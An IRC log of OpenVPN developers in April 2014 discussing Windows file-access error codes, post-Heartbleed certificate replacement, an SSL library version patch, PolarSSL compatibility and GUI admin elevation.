-!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 11:07 <@d12fk> maybe your mods could be interesting for the general public 11:10 < _bt> id like to re work it to be more usable to newcomers 11:17 <@mattock> added .xz source packages to the download page as requested by someone 11:19 <@cron2> mattock: got the mail 11:20 <@mattock> in the future it will only send mail when a new commit is made to git 11:21 <@mattock> it will run once per day, but won't run the build if the commit id is the same as on previous run 11:21 <@mattock> if an error occurs, it will say ERROR: ... 11:27 <@cron2> cool 12:20 <@dazo> d12fk: ping :) 12:22 <@d12fk> dazo: howdy =) 12:22 <@dazo> so .... this ugliness of file access on windows :) 12:23 <@d12fk> yeah forget what you saw 12:23 <@d12fk> used the cygwin compiler instead mingw 12:23 <@dazo> What I'm trying to figure out is what kind of error codes Windows returns when it tries to access files in different ways 12:23 <@dazo> ahh 12:23 <@d12fk> with mingw it doesnt even compile =) 12:23 <@dazo> heh 12:24 <@d12fk> so you wanted to know what real windows binaries are like right 12:24 <@dazo> yeah 12:24 <@d12fk> hm then: 12:25 <@d12fk> http://pastebin.com/KzTm9mVJ 12:25 <@d12fk> have fun =) 12:25 <@dazo> I just want to catch the errors when openvpn tries to read CCD files, but fails .... right now, the error is silently ignored and interpreted as "file doesn't exist" 12:25 <@dazo> uuhhhh .... you did use a mingw C compiler, right!? 12:26 <@dazo> stupid _wfopen 12:27 <@d12fk> yepp, mingw gcc 4.8.2 12:27 <@dazo> considering cygwin provides a posix environment on windows, I'm not suprised that one compiled, when I see these errors ... it's all *nix sematics 12:27 <@dazo> okay ... scratch that program ... lets rather think how we can test similar conditions 12:28 <@d12fk> you can actually use fopen 12:28 <@d12fk> you filename don contain anything other than ascii 12:28 <@dazo> true 12:28 <@dazo> well, the real interesting things happens with mkdir() and chown() later on .... 12:28 <@d12fk> let me fix that for you =) 12:28 <@dazo> thx!!! 12:29 <@d12fk> the flags don't seem to be def'd 12:29 <@d12fk> S_IRWXG S_IROTH S_IXOTH 12:30 <@dazo> maybe not surprising since that's unix umasks 12:30 <@d12fk> the nt posix layer seems picky 12:31 <@d12fk> mkdir - This POSIX function is deprecated. Use the ISO C++ conformant _mkdir instead. 12:31 <@d12fk> from MSDN 12:31 * dazo looks 12:31 <@d12fk> let me fix that for you =) 12:32 <@dazo> that doesn't really cut it ... unless you modify the directory access rights afterwards 12:32 <@d12fk> ok down the the undef'd constants 12:33 <@d12fk> have to run unfortunately 12:33 <@d12fk> let's continue tomorrow 12:33 <@dazo> there are three groups of tests I run, with three steps in each test ... a) open a non-existing file b) create the file c) open the created file .... and then first group is normally accessible, the second group is trying to do this on a directory without write access ... and the third group tries to write inside a directory with wrong ownership 12:33 <@dazo> okay 12:33 <@dazo> c'ya tomorrow 12:38 <@mattock> ecrist: changing SSL certs on forums and community due to the heartbleed thingy 12:38 <@cron2> was it vulnerable? I though our openssl was old enough? 12:39 <@cron2> or is this an *.openvpn.net wildcard cert that needed changing due to $reasons elsewhere? 12:40 <@dazo> it's definitely a *.openvpn.net wildcard cert 12:40 <@cron2> ic 12:42 <@ecrist> there was probably doubt as to whether the certificate was obtained securely to begin with 12:42 <@ecrist> we did the same thing at $work, despite most of our important stuff being too old to be vulnerable 12:49 <@mattock> community and forums done 12:49 <@mattock> seem to work ok 12:52 <@pekster> mattock: Looks good here too. Isssued 4/15/14, expires 3/5/15, SHA-1 31 5B 25 DC BD 8E 88 0B F6 32 87 F6 59 A9 42 32 B3 73 33 96 12:52 <@mattock> good 12:52 <@pekster> And Chromium likes to complain a lot when things are wrong :P 12:56 <@cron2> pekster: ah, good that you're here. Could you comment on the SSL library version patch? 12:56 <@cron2> (and the two possible variants of the PolarSSL version, which one do we want?) 12:57 * cron2 is confused 12:57 <@cron2> that's pekster, not syzzer... should sleep more 12:57 <@cron2> but anyway, I welcome comments from pekster, too :-) - just the polarssl focus isn't there 12:58 <@vpnHelper> RSS Update - tickets: #391: src/openvpn/socket.c failed to compile for win32 <https://community.openvpn.net/openvpn/ticket/391> 13:23 <@cron2> aaaaaaaaargh 13:23 * cron2 screams bloody murder 13:24 <@cron2> my "win7 netsh cannot configure ipv6" problems of the last week all seem to be "not running as admin" 13:24 <@dazo> heh 13:31 <@dazo> I think I'm loosing myself on #openvpn now ..... 13:31 <@cron2> dazo: moar feedback on the ssl version patch, please :) 13:32 <@dazo> :) 13:35 <@dazo> feedback sent :) 13:57 <@ecrist> any of you guys know how to stop the errors in openvpn logs for windows clients trying to use their link local address? 14:01 <@mattock> ecrist: are you referring to the fe80 thing? 14:01 <@mattock> flooding of the logs 14:11 -!- Michael0 [~ZNT_A@c-68-41-175-6.hsd1.mi.comcast.net] has joined #openvpn-devel 14:11 <@ecrist> yes 14:11 < Michael0> Hi 14:13 <@mattock> ecrist: I encountered that today actually, and cron2 was going to take a look at it 14:13 <@mattock> don't know if there is a workaround 14:20 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 14:20 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 14:21 <@cron2> right now? "tail -f messages |grep fe80::" :) 14:24 <@mattock> you mean "grep -v fe80::"? 14:24 <@mattock> if filtering out 14:24 <@mattock> :D 14:24 <@cron2> uh, yeah. should sleep more 14:25 <@ecrist> I imagine it's a matter of forcing the client to use the VPN IP and not the link-local addresses 14:25 <@ecrist> or, find a way to make link-local work correctly 14:26 <@cron2> ecrist: actually it's something in-between - just ignore fe80:: packets. These are stuff like DAD (which we don't need), DHCPv6 (which we don't provide), MLD (which we can't do anything about), etc. 14:27 <@cron2> in a second step we might want to actually implement auto-learning for fe80:: addresses (as we do for tap and source macs), but this is really for particular applications, like people running OSPFv3 over a tun interface 14:27 <@ecrist> THAT would be neat 14:28 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 14:28 <@ecrist> we use OSPF all over the place now 14:28 <@cron2> fe80:: alone is not sufficient, you also need a way to feed information about "which subnet goes where" into the openvpn server, so I'm not sure this is a reasonable use case 14:29 <@cron2> (unlike tap, where the openvpn server won't need to know) 14:52 <+krzee> These are stuff like DAD (which we don't need) <--- mom will be happy to hear it 15:17 <+krzee> https://lobste.rs/s/3utipo/openbsd_has_started_a_massive_strip-down_and_cleanup_of_openssl 15:17 <@vpnHelper> Title: OpenBSD has started a massive strip-down and cleanup of OpenSSL | Lobsters (at lobste.rs) 15:43 -!- Michael0 [~ZNT_A@c-68-41-175-6.hsd1.mi.comcast.net] has quit [] 15:50 <@plaisthos> krzee: I sure I like haven now OpenSSL and OBSD OpenSSL 15:50 <@plaisthos> where OBSDSSL has stripped features OpenBSD does not like but is a bit more secure 15:50 <@plaisthos> one of the first thing they stripped is heartbeat 15:51 <@plaisthos> although it has been the source of a CVE that doesn't mean it is a useless feature 16:00 <@dazo> exactly ... and the error itself was just a pure silly mistake (not validating input data) 16:31 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 16:48 -!- dazo is now known as dazo_afk --- Day changed Wed Apr 16 2014 01:10 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:10 -!- mode/#openvpn-devel [+o mattock_afk] by ChanServ 01:10 -!- mattock_afk is now known as mattock 01:10 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 01:22 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:22 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:22 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 01:26 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:26 -!- mode/#openvpn-devel [+o mattock_afk] by ChanServ 01:26 -!- mattock_afk is now known as mattock 02:14 <@d12fk> meh openbsd again... silly 02:15 <@d12fk> stipping down the build system is a very essential part of making the lib more secure 02:26 <@d12fk> dazo windows doesn't have the rwxrwxrwx style access restrictions, it's more like xattr, but even more complex, (D)ACLs and there's also an owner/creator, with super powers 02:27 <@d12fk> that's why they dropped the 2nd param to mkdir is suppose 04:15 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 05:08 -!- dazo_afk is now known as dazo 05:22 <@dazo> d12fk: right ... but is there a chance we can test the similar scenarios? ... Just to have Windows covered ... Otherwise, I'll just add a big warning in the commit saying something like "Not tested on Windows and this fix may cause harm and explosion on this particular weird platform" 05:36 <@d12fk> dazo: do you want to test what the functions return or is this just one time? 05:36 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 05:37 <@dazo> I'd like to know what error message _wfopen() sets in errno if it tries to open a file it should be able to open, but is not allowed to because of wrong ownership or other ACL restrictions 05:37 <@dazo> so the file has the right privileges set, but not the directory the file resides in 05:38 <@d12fk> ah that's better done manually then 05:38 <@dazo> Just so I can capture the proper error codes and only report an error in the openvpn logs when there's a file access problem 05:38 <@d12fk> hacking it is some hassle 05:38 <@dazo> yeah, I wrote that to try to make it easier for you :) 05:38 <@d12fk> fail =) 05:39 <@dazo> cron2 already tested it on FreeBSD successfully ... but ... yeah, for me windows == weird :) 05:39 <@d12fk> it sticks out from the rest, true 05:40 <@d12fk> so you're interested what the errno is in case of dir read access denied, also two levels up 05:40 <@dazo> yeah 05:41 <@d12fk> will check 05:50 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:50 -!- mode/#openvpn-devel [+o mattock_afk] by ChanServ 05:50 -!- mattock_afk is now known as mattock 05:53 <@d12fk> dazo: just to make sure, it is expected tha the file itself does not exist in either testcase 05:53 <@dazo> the file should exist 05:53 <@dazo> but should not be accessible due to the directories it resides in is blocking access 05:54 <@d12fk> ok 05:54 <@d12fk> here we go 05:54 <@d12fk> *** 1. Test in a normally accessible directory 05:54 <@d12fk> Expected failure, the file 'fopentest.tmpd/fopentest.txt' was not opened 05:54 <@d12fk> errno: 2 -> No such file or directory 05:54 <@d12fk> The file 'fopentest.tmpd/fopentest.txt' was found 05:54 <@d12fk> *** 1. Result: PASS 05:55 <@dazo> that's corret .. that's just a normal "sanity" check 05:56 <@dazo> (open not existing file, create it, open it again) 05:58 <@d12fk> *** 2. Test in a non-accessible directory (wrong chmod) 05:58 <@d12fk> Expected failure, the file 'fopentest.tmpd/fopentest.txt' was not opened 05:58 <@d12fk> errno: 2 -> No such file or directory 05:58 <@d12fk> *** 2. Result: PASS 05:59 <@dazo> interesting 05:59 <@d12fk> *** 3. Test in a non-accessible directory with wrong UID/GID in the "middle" 05:59 <@d12fk> Expected failure, the file 'fopentest.tmpd/fopentest.tmpd/fopentest.txt' was not opened 05:59 <@d12fk> errno: 2 -> No such file or directory 05:59 <@d12fk> *** 3. Result: PASS 06:00 <@d12fk> maybe i did it wrong 06:00 <@dazo> okay ... can you try the second test again, but ensure that the file exists first? ... Just to see if -ENOENT is returned again 06:00 <@d12fk> so you want write access in the dir but no read access? 06:00 <@dazo> yeah, lets try that 06:00 <@d12fk> i took all rights away for the dir 06:01 <@d12fk> so redo it 06:01 <@dazo> I'm surprised to see -ENOENT ... I'd expect to see -EACCESS 06:01 <@d12fk> me too 06:01 <@dazo> but ... it's windows, so it might be how it does it 06:01 <@d12fk> that made me think 06:02 <@d12fk> so i just take away the "List folder / read data" priv 06:03 <@d12fk> *** 2. Test in a non-accessible directory (wrong chmod) 06:03 <@d12fk> Expected failure, the file 'fopentest.tmpd/fopentest.txt' was not opened 06:03 <@d12fk> errno: 13 -> Permission denied 06:03 <@d12fk> *** 2. Result: PASS 06:03 <@d12fk> ^ better 06:03 <@dazo> yeah, makes "sense" :) 06:03 <@dazo> okay, at least I know what kind of errors to report now :) 06:04 <@dazo> thx a lot, d12fk! 06:08 <@d12fk> for test 3 you expect the file not being created? 06:08 <@d12fk> because of rw access denied in the subdir? 06:10 <@dazo> yeah, this test case treats r and w privileges equally ... so I needed to know if the error which would be returned is -EACCES or -ENOENT (or something else) when it could not read or write 06:10 <@dazo> if it's a read or write was not as important to what fopen() would return to begin with 06:11 <@dazo> but it's interesting that it returns -ENOENT on files where it does not have list access 06:12 <@dazo> that actually means, I cannot give a reasonable error on Windows 06:12 <@dazo> because, test_file() is used to see if a file exists or not. And it is perfectly fine if the file does not exist. It needs to report an error if it has access problems to it 06:17 <@d12fk> ah ok 06:19 <@d12fk> ah no i think there may be another thing 06:23 <@d12fk> \ vs. / 06:23 <@d12fk> maybe that has to do with it 06:23 <@d12fk> will find out after lunch 06:36 <@dazo> :) 06:37 <@dazo> I don't think / or \ should be an issue on Windows on fopen() .... but better double check it 07:02 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 07:21 -!- debbie10t [~ma1com10t@host-92-20-44-143.as13285.net] has joined #openvpn-devel 07:22 < debbie10t> Hi, has this patch been implemented ? : http://community.openvpn.net/openvpn/changeset/a8be73799be163909a3b212656dedf03494f0792 07:22 <@vpnHelper> Title: Changeset a8be737 – OpenVPN Community (at community.openvpn.net) 07:28 <@dazo> debbie10t: should be in master 07:28 <@dazo> don't think it has arrived a release yet, but will come in 2.4 then 07:29 < debbie10t> ah-so ;) 07:29 < debbie10t> thanks 07:29 < debbie10t> this is the thing that people are waiting for due to the heartbleed issue 07:30 <@dazo> I know ... except that it doesn't reveal SSL library version yet 07:30 <@dazo> http://thread.gmane.org/gmane.network.openvpn.devel/7541/focus=7582 07:30 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 07:31 <@dazo> (if it was in a release branch as well, the 'applied' messages would state so) 07:31 <@dazo> Regarding SSL library version .... http://thread.gmane.org/gmane.network.openvpn.devel/8495 07:31 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 07:34 < debbie10t> ok thanks : dazo 07:34 <@dazo> you're welcome! 07:34 < debbie10t> I have managed to get the variables listed in the management client but there is no way (under win) that I can find to extract them to be evaluated 07:35 < debbie10t> but at least I know what the state of play on that patch is .. so we can look forward to v24x when-ish ? 07:37 <@dazo> there's no concrete dates for 2.4 ... it comes when we're ready ... as all here are volunteering, our resources are limited 07:37 < debbie10t> sure i understand and am not trying to hassle anybody - i am volunteer aswell ;( 07:39 < debbie10t> -- 07:39 < debbie10t> according to the 233 changelog: 07:39 < debbie10t> Add reporting of UI version to basic push-peer-info set. 07:40 < debbie10t> Unfortunately push-peer-innfo itself does not present the variables in a manner they can be evaluated outside of the mangement-client 07:41 < debbie10t> and the management-client must be run with management-client-auth which I have NOT been able to make work as yet 07:42 < debbie10t> anyway -- i am going to clarify the situation on the forum a bit 07:43 <@dazo> thx! 07:45 <@plaisthos> debbie10t: you don't need the auth option for management-client 08:10 < n13l> dazo: hi, should i post the channel binding patch oficially somewhere with explanaton of some possible use cases ? 08:10 <@dazo> n13l: yeah, I think it's ready for that ... send it to the openvpn-devel mailing list 08:16 < n13l> dazo: thank you very much for you attention :) 08:16 <@dazo> you're welcome! I'm sorry I didn't have too much time these last times to follow up more ... I want to, but too much happening 08:17 < n13l> dazo: i understand that very well. i usually doin 3 things together :) 08:19 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 08:52 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 255 seconds] 08:56 < n13l> dazo: openvpn-devel@lists.sourceforge.net is corrent right ? :) 08:57 <@dazo> that's right! 09:02 <@d12fk> cron2: reators is holger btw 09:17 < n13l> dazo: damn :) http://sourceforge.net/p/openvpn/mailman/openvpn-devel/ 09:17 <@vpnHelper> Title: OpenVPN / Mailing Lists (at sourceforge.net) 09:17 < n13l> dazo: im there but without body :) 09:18 <@dazo> n13l: http://thread.gmane.org/gmane.network.openvpn.devel/8535 ... that looks better :) 09:18 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 09:30 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 09:30 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 10:04 <@cron2> debbie10t: yes, in master, not in 2.3 10:05 < debbie10t> plaisthos: i believe you do .. I have tried without but the variables are only shown when management-client-auth is set 10:05 < debbie10t> cron2 - thanks 10:06 <@cron2> plaisthos: the old code indeed did weird things, like exporting the IV_ thing only in pre-auth phase to the management interface, and that phase you'd only get at all if management-client-auth is set 10:06 < debbie10t> plaisthos: also according to http://community.openvpn.net/openvpn/changeset/a8be73799be163909a3b212656dedf03494f0792 it is required 10:06 <@cron2> reators: welcome on board :) 10:06 < debbie10t> ah -- ok cron2 thanks 10:07 <@cron2> plaisthos: any opinion on the ssl-version patch? I can merge and release 2.3.4 with it if someone ACKs it :-) (or I'm happy to work on it if needed) 10:09 -!- debbie10t [~ma1com10t@host-92-20-44-143.as13285.net] has left #openvpn-devel [] 10:10 < reators> cron2: nice to meet you all here ;-) 10:21 <@dazo> cron2: did you post an updated version with the new sprintf() approach? 10:21 <@cron2> dazo: only the new sprintf() part, I think, not the full patch. Lemme check. 10:21 <@dazo> I'll be happy to ack that one 10:22 * d12fk remembers to check with \ instead of / 10:23 <@cron2> ah, full patch has not been posted. Coming 10:23 <@dazo> cron2: when d12fk gets his last checks done ... I'll post a patch for trac #277 too 10:23 <@cron2> \o/ 10:24 <@d12fk> very strange indeed 10:24 <@cron2> btw, snappy and lz4 do not export a runtime version, as far as I could find out. So all we have is build time (for snappy) or "none at all" (lz4) 10:24 <@d12fk> *** 3. Test in a non-accessible directory with wrong UID\GID in the "middle" 10:24 <@d12fk> Expected failure, the file 'fopentest.tmpd\fopentest.tmpd\fopentest.txt' was not opened 10:24 <@d12fk> errno: 2 -> No such file or directory 10:24 <@d12fk> *** 3. Result: PASS 10:24 <@d12fk> dont get it 10:25 * cron2 goes feed the girls... 10:26 <@dazo> d12fk: Is this some windows-ism? If you can't access the directory, the file does not exist? 10:26 <@dazo> (that wouldn't surprise me) 10:26 <@d12fk> dazo: so in case the middle dir restricts access it's errno 2 10:27 <@d12fk> in case the first dir, errno 13 10:27 <@d12fk> that doesnt make sense 10:27 <@d12fk> or does it?! 10:27 * d12fk is going to recheck test 2 10:28 <@dazo> that is odd, actually 10:29 <@dazo> both test 2 and 3 should have given -EACCES 10:29 <@dazo> (errno 13) 10:29 <@dazo> or they should at least be consistent 10:29 <@d12fk> so you take away rw access or just w 10:30 <@d12fk> don't have to unmodified fiel anymore 10:31 * dazo looks at the code again 10:32 <@dazo> d12fk: in test case 2, a directory with chmod 000 is created ... so no read/write/exec for anyone 10:32 <@d12fk> anyhow the errno with the expected failure is... unexpected =) 10:32 <@dazo> while test case 3 have rwx for group only ... but for the running user, it is --- 10:33 <@dazo> When I now think more carefully about it ... test case 3 is less important on Windows, as it doesn't support --user/--group ... or does it? 10:34 <@d12fk> lemme check 10:35 <@d12fk> "NOTE: --user option is not implemented on Windows" 10:35 <@d12fk> same goes for --group 10:36 <@dazo> okay ... then we'll ignore test case 3 10:36 <@dazo> on windows 10:41 <@d12fk> still errno 2 10:41 <@d12fk> can't reproduce EACCESS o_O 10:43 <@d12fk> for the writing fopen i get errno 12, for the reading ones errno 2 10:44 <@dazo> that's interesting 10:46 <@dazo> well, from a security point of view ... it might make some sense to report -ENOENT, kind of ... if you try to bruteforce guess filenames into directories you don't have access to 10:46 <@dazo> anyhow, it would be better to give -EACCES no matter what, if the directory is restricted 10:50 <@d12fk> true 10:57 * dazo just spotted an interesting usage of #define in hostname_randomize() 10:59 -!- MeanderingCode [~Meanderin@palantir.aetherislands.net] has joined #openvpn-devel 10:59 <@vpnHelper> RSS Update - tickets: #392: Not generating Server.crt [windows] <https://community.openvpn.net/openvpn/ticket/392> 11:05 -!- MeanderingCode [~Meanderin@palantir.aetherislands.net] has quit [Remote host closed the connection] 11:08 <@plaisthos> d12fk: iirc cron2 fixed that function in Munich 11:08 <@d12fk> plaisthos: which one? 11:08 <@plaisthos> hostname randomization 11:09 -!- MeanderingCode [~Meanderin@palantir.aetherislands.net] has joined #openvpn-devel 11:09 <@d12fk> ah, you mean dazo ^ 11:09 <@plaisthos> oh 11:09 <@plaisthos> right 11:10 <@plaisthos> " Could be noob error, but I don't know." 11:10 <@plaisthos> that are the best bug report 11:13 < _bt> hehehe 11:18 <+krzee> shall i point out on there that easy-rsa is a seperate project? or do you guys not mind easy-rsa tickets on the openvpn trac? 11:18 <@dazo> plaisthos: cron2 did indeed ... but he didn't touch the define .... 11:19 <+krzee> or is that easy-rsa version 2 (which was part of openvpn tree iirc) that is packaged with windows still? 11:19 -!- MeanderingCode [~Meanderin@palantir.aetherislands.net] has left #openvpn-devel ["elsewhere."] 11:20 <@dazo> krzee: I dunno, tbh ... if there's a better place to track this, then it's good to point in that direction 11:20 <@dazo> but sounds more like a support ticket than a bug ticket, though 11:21 <+krzee> i agree; what version of easy-rsa is packaged with openvpn now? 11:22 <+krzee> the one pekster made or the one that distributed with openvpn prior to that? 11:22 <@dazo> I think it's still some easy-rsa2 stuff still 11:22 <@dazo> I think we should move to 3, if the docs are good enough for it 11:23 <+krzee> the docs for 2 is the howto, docs for 3 is a community wiki page 11:23 <@dazo> and that's the right direction to move :) 11:23 <+krzee> "easy-rsa" is (#1) easy-rsa is a certificate generation utility. or (#2) Download here: https://github.com/OpenVPN/easy-rsa/downloads or (#3) https://community.openvpn.net/openvpn/wiki/EasyRSA 11:23 <@vpnHelper> Title: Downloads · OpenVPN/easy-rsa · GitHub (at github.com) 11:30 <@cron2> plaisthos: which one, the n_rnd_bytes one? 11:31 <@plaisthos> cron2: --remote-random-hostname 11:32 <@plaisthos> cron2: ask dazo :) 11:32 <@plaisthos> cron2: I haven't looked at the code 11:32 <@cron2> yeah, that's the function, I was wondering about the #define you were talking about 11:32 <@cron2> ah 11:32 <@cron2> right 11:32 <@cron2> dazo: n_rnd_bytes? 11:33 <@dazo> cron2: yeah ... the #define n_rnd_bytes 11:33 <@dazo> it's defined in the function, and then undefined ... and it's used only one place ... so it looked very odd 11:34 * dazo heads out for some food 11:37 <+krzee> well i guess easy-rsa *is* an option in "components" in the trac 11:41 <@cron2> d12fk: is there an easy way to detect "this program is running with admin rights" in C on Windows? 11:41 * cron2 is so annoyed by his dear colleagues all bugging him about GUI errors and netsh errors due to not running the gui as admin... 11:41 <+krzee> i remember asking that in here and hearing that it is not 11:41 <+krzee> ^ i agree 11:42 <@plaisthos> argh @ FreeeBSD: freebsd-update failed 11:42 <+krzee> s/colleagues/people on irc/ 11:42 <@plaisthos> and now it is redownloading everything 11:44 <+krzee> freebsd-update? isnt that for binary updates!? 11:44 <+krzee> eww 11:46 <@plaisthos> krzee: yeah. 11:46 <@pekster> dazo, krzee: the core operation of easyrsa v3 isn't going to change, but I have a pending fix for the 'vars' file operation that should really get fixed before it gets shipped. I'll poke you when that's done. The docs in-tree are mostly focused on PKI usage, with an openvpn howto (basically walk-through) on the wiki: http://community.openvpn.net/openvpn/wiki/EasyRSA3-OpenVPN-Howto 11:46 <@vpnHelper> Title: EasyRSA3-OpenVPN-Howto – OpenVPN Community (at community.openvpn.net) 11:46 <@d12fk> cron2: there probably is a way, but i dont know how easy it is 11:46 <@cron2> stackoverflow suggests a few approaches 11:46 <@cron2> http://stackoverflow.com/questions/10551538/how-to-check-whether-a-windows-user-has-admin-privileges-in-c 11:46 <@vpnHelper> Title: How to check whether a Windows user has admin privileges in C? - Stack Overflow (at stackoverflow.com) 11:46 <@d12fk> i'd rather patch the gui's manifest to require it run as admin in your case 11:46 <@cron2> the second one does "NetUserGetInfo", whatever that is, and is quite short 11:47 <@cron2> d12fk: well, I don't want to roll my own installers but instead point to mattock's, and for whatever reason, we seem to have decided to not do that 11:47 <@pekster> I did a build of openvpn with the manifest set to auto-elevate to "highest available" 11:47 <@pekster> Otherwise it's the user's responsibility to figure it out 11:47 <@d12fk> the reason was me promising the service for january 11:48 <@d12fk> but room to breath ahead so i'm looking forward to some ovpn work in may 11:50 -!- debbie10t [~ma1com10t@host-92-20-44-143.as13285.net] has joined #openvpn-devel 11:51 <@cron2> pekster: true, but my users are so stupid, they forget between every update - and then cannot even figure out what the GUI error about "not able to create registry entry" means 11:51 <@pekster> Right, that's why I was in favor of just auto-elevate to best available, vs leaving it broken 11:52 <@cron2> d12fk: looking forward to that :-) - so what change is needed? Shall we re-consider for 2.3.x releases? 11:52 <@pekster> It's 1-line addition to the manifest file in the source tree, but I don't have it on this box (it's in a VM on a powered-off PC at home.) 11:52 <@pekster> I'll pop in later this evening when I dig it out if you'd like 11:52 <@cron2> thanks 11:52 <@cron2> (yes, that is :) ) 11:52 <@pekster> Sure. Should be ~20:00 UTC, give or take 11:53 <@pekster> Won't break, even for users using the "undocumented run ovpn today without admin" as it just elevates to best available, so "standard users" won't get prompted, only 'administrators' 11:53 <@cron2> this doesn't parse for me 11:54 <@pekster> So, if you've done one of the several hacks floating around the 'net to run the openvpn GUI (and thus openvpn.exe) as a normal, non-admin user (without UAC elevate rights) the patched GUI still runs 11:55 <@pekster> (as opposed to the "requireAdmin" permission that outright refuses to run unless you type in admin credentials) 11:55 <@cron2> ah, ic. So what is "best available"? 11:56 <@pekster> highest available or w/e it's called will give you admin rights if you have that permission (think sudo for windows, but done poorly.) Even 'Administrator' users on >=Vista don't get to do things as admin until they click the UAC dialog 11:56 <@pekster> If you aren't in the administrators group, you just get your normal, non-god permissions 11:57 <@cron2> but that means a normal user running the gui wouldn't get the required rights, right? 11:57 <@pekster> They don't today 11:57 <@pekster> They'd have to right-click, 'Run as other user..' and type in _different_ credentials. Or do the weird hacks 11:58 <@cron2> true (well, have the admin set it up for them once to have [X] always run as admin checked) 11:58 <@pekster> Yea, the manifest basically just does that "by default" 11:59 <@pekster> It's how pretty much any other installer or program works for Windows that does what we're doing 11:59 <@cron2> sorry, I'm not following. Need to read up on this, while the kids are not trying to out-shout each other... 11:59 * plaisthos hates kvm and its networks 11:59 <@pekster> I'll be back this evening with the patch too :) 12:00 <@pekster> mostly afk until then. Or I could write it up a bit more concicely on the -devel ML if you'd rather have it there 12:08 <@cron2> that would be better for the discussion, I think... 12:42 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 12:42 -!- mode/#openvpn-devel [+o andj] by ChanServ 12:44 <@dazo> w00t!?! Fedora EPEL (for RHEL/CentOS/etc) have newer PolarSSL (1.3.2) than Fedora 19 and 20 (polarssl-1.2.9) 12:45 <@plaisthos> dazo: so Fedora EPEL packages are not from Fedora? 12:46 <@dazo> well, Fedora is basically a bunch of package maintainers, caring for their own packages ... but the EPEL builds probably have another maintainer 12:51 <@dazo> crap ... master doesn't build with 1.3.4 :/ 12:54 <@plaisthos> dazo: it doesn't 12:55 <@plaisthos> why not? 12:55 <@dazo> it only supports 1.2.x if x > 10 12:55 <@plaisthos> yeah 12:55 <@dazo> >= 10 12:55 <@plaisthos> dazo: you could look at syzzer patches for 1.3 12:55 <@dazo> yeah 12:55 <@plaisthos> [Openvpn-devel] [PATCH] PolarSSL 1.3 12:56 <@plaisthos> those patches need acking anyway 12:56 <@dazo> we seriously need to look more carefully at how we should support PolarSSL ... if we want it to get better support on Linux 12:56 <@dazo> that's for another day, I think :) I just wanted to test cron2's ssl lib version patch .... 12:56 <@cron2> dazo: you should be following the discussions on openvpn-devel more closely :-) 12:56 <@dazo> heh 12:57 <@cron2> seriously, syzzer has commented quite a bit on this, and we just had a discussion about 1.2.x/1.3.x this tuesday... 12:57 <@dazo> I do ... I start at the oldest, and flag them "solved" or "outdated" .... still have 200 more to go :-P 12:57 <@cron2> anyway. short story: 1.3.x and 1.2.x are incompatible enough that it's either "add lots of #ifdef to OpenVPN 2.4" or "drop 1.2.x support in 2.4" 12:57 <@cron2> syzzer went for "drop 1.2.x support" 12:58 <@cron2> but this will be still painful for 2.3.x builds on systems only having polar 1.3.x 12:58 <@dazo> I think I can begin to push for openvpn-polarssl builds in not so far future, if it gets reasonably easy to maintain these builds ... which again means polarssl api stability will become an issue 12:58 <@dazo> openvpn-polarssl builds in Fedora and EPEL, that is 13:00 <@dazo> okay ... here's a crazy thought ... now we have --with-crypto-library={openssl|polarssl} ... what if we move towards polarssl1.2 and polarssl1.3 ... and have the polarssl version stuff in separate files 13:00 <@dazo> it definitely removes the need for #ifdefs ... (even though #ifdef's should basically be isolated into the polarssl files) 13:00 * dazo tries another build with 1.2.10 13:01 <@dazo> OpenVPN 2.3_git [git:test/ssl-verion/bed076efdcd0ab42] x86_64-unknown-linux-gnu [SSL (PolarSSL)] [LZO] [SNAPPY] [LZ4] [EPOLL] [MH] [IPv6] built on Apr 16 2014 13:01 <@dazo> library versions: PolarSSL 1.2.10, LZO 2.06 13:02 <@dazo> cron2: btw ... you do know that git {diff,show} --color=always will reveal whitespace errors in your work? ;-) 13:05 <@cron2> dazo: you're going to maintain and test the extra build variant? 13:06 <@cron2> (where did I leak whitespace this time? *look*) 13:06 <@dazo> it's well "hidden" this time ... space vs tab 13:06 <@cron2> ah, there, seen it 13:08 <@dazo> just one silly question, not directly related .... now the IV_/UV_ peer info is limited to 512*3 bytes ... is that going to be big enough? 13:09 <@dazo> I'll do some more testing of the push-peer info later ... need to get some driver testing kicked off now, before heading for some shopping before easter 13:09 <@cron2> for all IV_ we have so far, plenty. If you set lots of UV_, no 13:10 <@dazo> that's what I also concluded with 13:11 <@dazo> patch looks good, --version works very well, just some testing of the push-peer info ... and I can ack it 13:11 <@cron2> \o/ :) 13:11 <@plaisthos> freebsd seems not have an easy to upgrade ports on a FreeBSD upgrade 13:11 <@dazo> running 'make check' w/t_client now on a polarssl build .. 13:12 <@plaisthos> and compat9x ships with a b0rken libssl .... 13:16 <@syzzer> dazo: ah, you're busy with the ssl version patch already, good :) 13:16 * syzzer moves that on of his list 13:16 <@dazo> syzzer: yeah ... just needing final testing with peer-info, and it's good to go :) 13:16 <@syzzer> nice! 13:17 